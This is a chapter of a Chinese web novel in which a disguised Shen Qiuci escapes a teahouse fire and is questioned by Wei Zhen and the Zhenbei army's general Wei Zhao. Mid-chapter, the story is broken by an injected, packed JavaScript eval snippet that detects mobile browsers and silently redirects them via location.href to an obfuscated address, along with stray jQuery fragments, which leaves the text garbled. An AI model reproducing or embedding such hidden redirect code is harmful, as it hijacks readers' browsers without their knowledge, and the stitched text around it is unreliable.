82. 走水

作品:《重生后他们都火葬场

    沈秋辞心头一惊。


    “我知道了。”她没有再追问华燕,心下一横,决意即刻跟着顾流音朝京城走去,“若是到了京城还能见着你,我再问也不迟。”


    华燕笑得好看:“清和是信我的。”


    沈秋辞懒得同他多费口舌,刚转身要走,却被他一把拉住。


    “何事?”她皱眉,却见他伸手摸上她的脸。她下意识往后一退,却被他按住了肩,不容她躲避。


    “你这副模样北上,太显眼,容易出事。”华燕低声说着,手上动作不停,像是在她脸上贴着什么。


    没过多久,他就收了手。


    “这样,看着倒是安心些。”他说着,唇角微弯。


    沈秋辞抬手摸了摸脸,顿觉皮肤粗糙得像是风霜所侵,连人中都隐隐刺着胡渣。她心中一动,问:“你给我易容了?”


    华燕点头,顺势牵着她绕进旁边一间空屋,递给她一件破旧布衣:“换上,不易惹眼。你我京城再见,到时我自会告诉你一切。”


    他看着她,神色罕见地郑重:“我不会害你。如今你手里有赵怀霁的东西,算是尘埃落定。若能顺利回京,说不得圣上会看在那地图与密函的份上,放过沈廷遇。北夷大军压境,眼下,任何情报都极其宝贵。”


    可真能如此么?


    沈秋辞心中疑窦未消,却没有开口质疑,只是利落地换衣。


    如今的她经历了多数变故,也没了那些扭扭捏捏地羞恼,只当事态十万火急,想着赶紧回到京城。


    华燕却立马背过了身子。


    沈秋辞轻笑一声,却没多说。她取下外袍纱衣,拧成细绳缠在胸前,换上那身布衣。镜中那人皮肤黧黑、眉浓如墨,再添一脸杂乱胡渣——俨然一个二十出头的落魄流民,半分也看不出她曾是沈家之女。


    她抬了抬眉,镜中的青年也抬了抬眉。


    赵长宴并未大动她的五官,只是皮色一换,眉目一改,再添上胡须,便教人再难看出是女儿身。


    沈秋辞道:“快走罢。”


    华燕一把拉起她正要往外走,忽然鼻间一滞,皱起眉来。


    一股焦灼的味道,悄然窜入鼻端——越来越浓,越来越呛。


    走水了。


    品茗楼着火了!


    门外传来嘈杂的人声,脚步奔走,夹杂着喊叫与哭嚎,似是整座楼都乱了。


    沈秋辞心头发紧,望向华燕:“我们能出去么?”


    若真是起火,她难不成要活活烧死在这里?


    还有赵怀霁——


    她咬牙,将那张脸强行从脑海中驱散。


    只见华燕面色沉凝,这一次,声音再没了伪饰,彻底换回赵长宴的语调:“清和,我们先逃出去,再设法送你回京城。”


    话音未落,几名身着黑衣的人已从窗外跃入。


    那身衣饰太过眼熟,沈秋辞一眼便认出他们是谁的人。


    魏贞的手下。


    大摇大摆,毫无忌惮。


    她心跳如鼓,与华燕一起俯身贴墙,想趁乱逃走,却被几人拦住了去路。


    黑衣人神色冷峻,未发一语,一见他们便举刀劈来。


    华燕立刻迎上去,抽刀格挡,动作干净利落。转瞬间,他甩出一个布袋,厉声对沈秋辞喊道:“快走!”


    她接住布袋,紧紧抱在怀中,飞快朝窗边跑去——门口已被封死,唯一的生路就是窗户。


    沈秋辞咬牙一跃,身子重重跌落在地。


    眼前,一双精致的鞋履突兀地出现在视线里。


    她低着头,正想爬起身逃走,却被一根拂尘抵住了脸。那粗硬的拂尘轻轻扫过她面颊,带着点毛刺的痒意。


    她一下子就意识到此人是谁。


    沈秋辞立马梗着喉咙,以着极其嘶哑地声音,低头哀求:“大人行行好,小得什么都不知道,这火不是我放的,我只是太饿了,想来茶馆里偷点东西,哪知一进来就着了火——”


    头顶传来一声轻笑。


    沈秋辞不敢抬头,只能赌这赵长宴的易容水平够好,看不出她原本的模样。


    “你可有见过一个貌美的女子,自称赵夫人,跟一名男子一同进了这茶楼?”


    魏贞问道。


    沈秋辞立马连连点头,依旧低着头,只用极其难听的嗓音回道:“大人,小的看到过!他们两个进了二楼隔间,后来陆续又进了不少人……可一直没见他们出来。”


    魏贞挑了挑眉。


    没出来?


    那是都死在火里了?


    他漫不经心地想着,沈秋辞若是死了便死了,可赵怀霁若也不明不白地葬身火场,日后定然难免被赵砚行追问。再万一,被人从他身上搜出与赫连罕有关的情报,那便又是一桩烫手的麻烦。


    啧。


    他轻啧一声,面容艳丽的男子唇角一弯,懒洋洋地对眼前这脏兮兮的流民吩咐道:“快滚。”


    那流民立刻连连道谢,缩着身子死死攥着怀中的布袋,看起来就像真在茶楼里偷了点什么吃食,拔腿便往一旁跑去。


    魏贞拈着拂尘,漫不经心地晃了晃,站在火光吞噬的品茗楼前,神色依旧冷淡。


    这时,手下抬出一个浑身血污、胸口插刀的昏厥男子。


    魏贞瞥了一眼,忍不住嗤笑:“区区美色,被蛊惑至此,果然你当不了那九五至尊。”


    真是没出息。


    他轻轻摇头,目光落向火场边缘。


    沈秋辞——


    她又去了哪里?


    他微微眯起眼,心中闪过一丝不耐。


    莫不是,也死在这场火里了罢。


    另一头,沈秋辞加快脚步,四处寻探,却始终不见顾流音的踪影。


    她去了哪里?


    沈秋辞神色愈发凝重,在人潮与烟雾中找了许久,却依旧没寻到熟悉的身影,反倒不知不觉间离茶楼越来越远。


    “站住!”


    身后忽然传来一声厉喝,尚未回神,她整个人便瞬间绷紧,撒腿狂奔。


    不能停。


    这个时候,她绝不能被人抓住。


    尤其是魏贞的人。


    身后的男声似乎被她这突如其来的逃跑吓了一跳,音调都拔高了:“你跑什么?站住!”


    沈秋辞咬紧牙关,只顾向前冲。可脚步声却越来越近,那人几步便追上来,一把将她拽住,牢牢制住了她的手腕。


    她被迫停下,死死垂着头,不敢抬眼。


    那男子声音爽朗,语气里还带着几分玩笑与好奇,像是跟旁人说话:“将军,你说这小子真奇怪,我才喊了他一声,他就跑得飞快!”


    卫昭似乎并未在意,目光只在那黑不溜秋的身影上扫了一眼,随口问道:“解戎什么时候回来?”


    他没注意到,那看似寻常的青年,在他话音落下时,身子明显僵了一瞬。


    高子穆回道:“她也就一两个时辰前走的,按您的意思去了品茗楼。据说那边走了水,很多人困在里面,出不来呢。”


    沈秋辞不再挣扎,低着头装傻。


    她没想到卫昭竟然亲自来了吴城。镇北军和那解戎现身此地倒不稀奇,几日前她还在佳人馆遇见过。


    可按照顾流音的说法,卫昭应当已经启程北境了才是。


    卫昭冷笑了一声:“莫不是那华燕想反悔?”


    高子穆撇了撇嘴:“那人虽不靠谱,但好歹把赫连罕交出来了,怎会说反悔就反悔?”


    沈秋辞正竖着耳朵偷听,忽然就见高子穆伸手抬起她的下巴。


    “我说你这小子——”她对上一张俊朗英气的脸,男子睁着眼望着她,眼里满是玩味与好奇,“怎么一句话不吭?是在憋什么坏主意呢?”


    沈秋辞立马装出一副吓破胆的样子,声音都哆嗦了:“大人,小的不敢……小的只是路过……”


    高子穆却注意到了她手里死死抱着的布袋。


    “你这布袋里装的什么?”他眼睛一亮,笑嘻嘻地搭上她肩头,“这么宝贝?给我看看呗——”


    “够了,子穆。”卫昭终于开口,“他只是寻常流民,莫要欺负人。”


    “寻常?”高子穆依旧笑得爽朗,可那笑容落在沈秋辞眼里,却令人发寒。“可我怎么觉得,真要是普通人,又怎会偏偏跑到咱们这儿来?”


    “别不是那狗宦的人罢?”


    他说着仍带笑意,可手上的力气却在不断加重,几乎掐得沈秋辞喘不过气。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15662764|163419||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    卫昭这次没有阻止,只是冷冷看着她,眉眼审慎,似乎在默默打量。


    眼前这青年皮肤黧黑,眉毛杂乱、满脸胡渣,看起来粗鄙又狼狈。


    一瞬间,那点莫名的熟悉感被这副模样彻底压了下去。


    沈秋辞心里暗骂这叫高子穆的男人。


    她如今还不能走,若是此刻借口离开,反倒像是心虚,更像魏贞派来的探子。


    正焦头烂额之际,忽听一声熟悉的嗓音从远处传来。


    “我来迟了。”少年骑马飞奔而至,缰绳未勒住,人已高声喊道,“我要的人呢?”


    他话音未落,目光便径直落在沈秋辞身上。


    高子穆这才松开她的肩膀,笑嘻嘻地迎上前:“华公子,这不正等着你么?你人不在,我们哪敢擅自带人?”


    华燕脸色霎时沉了下来,笑意尽褪。


    “我问的是人呢?”他语气一冷,眼神凌厉。


    高子穆啧了一声,像是嫌他小题大做般转头朝卫昭道:“急什么急,将军,他不还晕着嘛?”


    卫昭终于将视线从沈秋辞身上移开,点了点头,神色难辨,命人将人从马车中抬了出来。


    那人浑身是伤,胸口起伏微弱,被五花大绑,显然昏迷已久。


    沈秋辞余光一扫——竟是杜归雪。


    华燕翻身下马,走近细细查验了一番,确认鼻端尚有微弱气息,随即动作干脆地将他拖上马背。


    临走前,他忽然停住脚步,声音冷了几分:


    “我怎么不知道,堂堂镇北军,如今也欺辱起百姓来了?”


    他说着,目光却落在了沈秋辞身上,手指微微一动,似是无声地指了个方向。


    沈秋辞心中一震,瞬间领会了他的意思。


    高子穆立刻不满,语气拔高:“你这话什么意思?这小子一脸鬼祟,我叫他站住他还往前跑,谁知道是不是魏贞派来探风的?”


    华燕笑了笑,语调轻慢:“他怎么可能是魏贞的人?不过是茶楼里的一个小贼罢了,方才还跪地求魏贞放他一条生路呢。”


    卫昭却忽然开口,视线重新落到沈秋辞身上,问:“你是刚从茶楼出来?”


    沈秋辞只得低头点了点头。


    “那你有没有见到……”他似乎有些迟疑,眉头皱起,“一个女子,自称赵夫人。她是不是和一名男子一同进了茶楼?”


    华燕忽然插话,语气带着漫不经心:“茶楼那么大,人来人往,他一个偷吃的穷小子,哪能记得清?”


    高子穆顿时不高兴了:“怎么什么事都有你插嘴?将军问话,你倒先来打断?”


    沈秋辞感觉这几个男人你一嘴我一句,吵得她头疼。


    这些人怎么一个两个都问她在不在茶楼?


    她心念电转,果断压低嗓音,用嘶哑的声音回道:“小的见过……她好像就没从茶楼里出来过。”


    话音刚落,她分明看见卫昭的表情瞬间崩塌。


    那眼神里掺着难以抑制的痛楚与不愿相信的迟疑。


    “她……”他喃喃开口,“她没出来?”


    沈秋辞虽然心中一凛,却仍坚定地点了点头:“是……跟她一起进去的那个公子,小的看到被抬出来了,但她……她好像真没出来。”


    华燕似是察觉到了什么,接口冷冷一笑:“怕不是,被烧死了吧?”


    谁知他话音刚落,就被卫昭投来一个恶狠狠的眼神。


    “闭嘴。”他厉声道,“华燕,你给了我们赫连罕,我们给你杜归雪,交易到此为止。别再来烦我们。”


    说罢,他冷冷一转头,对高子穆道:“子穆,走。”


    高子穆像还有话想说,可见卫昭眼神一沉,只得悻悻地闭了嘴,翻身上马,临走前还冲沈秋辞笑了一下:“小子,咱们来日再见。”


    说完,一阵马蹄声远去。


    沈秋辞刚松了一口气,却猛地察觉卫昭的马却没有走远,反而调转马头,朝她这边走了过来。


    华燕的眼神顿时沉了下去,手已悄悄握住了刀柄,往她身前挡了一步。


    卫昭居高临下地看着她。


    “你,跟我们走。”


    沈秋辞怔住了,站在原地一动不动。